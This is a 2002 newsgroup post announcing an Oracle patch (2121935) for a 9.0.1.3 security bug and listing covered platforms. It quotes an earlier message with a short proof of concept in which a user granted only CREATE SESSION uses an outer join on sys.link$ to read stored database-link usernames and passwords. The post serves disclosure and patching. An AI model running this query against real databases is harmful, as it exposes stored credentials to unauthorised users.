Re: 9iDB Security Hole?

From: Jonathan Lewis <jonathan_at_jlcomp.demon.co.uk>
Date: Thu, 18 Apr 2002 11:49:45 +0100
Message-ID: <1019126937.6834.0.nnrp-12.9e984b29@news.demon.co.uk>

For those of you with Metalink access,
there is now a patch to this bug for 9.0.1.3

Patch number is 2121935.

Platforms covered are:

    HP 9000 series HP-UX 64-bit
    Sun Sparc Solaris 64-bit
    IBM RS/6000 64-bit
    Sun Sparc Solaris
    Digital Alpha OpenVMS
    LINUX Intel
    Compaq Tur64 UNIX

--
Jonathan Lewis
http://www.jlcomp.demon.co.uk

Author of:
Practical Oracle 8i: Building Efficient Databases

Next Seminar - Australia - July/August
http://www.jlcomp.demon.co.uk/seminar.html

Host to The Co-Operative Oracle Users' FAQ
http://www.jlcomp.demon.co.uk/faq/ind_faq.html



Jonathan Lewis wrote in message
<1018909953.3789.0.nnrp-08.9e984b29_at_news.demon.co.uk>...


>

>Ouch  - 9.0.1.3 on HP-UX

>

>connect / as sysdba

>CREATE USER us1 IDENTIFIED BY us11;

>Grant Create  Session To us1;

>

>connect us1/us11

>

>select a.userid, a.password

>from sys.link$ a left outer join sys.link$ b on

>b.name= a.name

>;

>

>userid   password

>---------  --------------

>XXX        **********

>

>

>

Received on Thu Apr 18 2002 - 05:49:45 CDT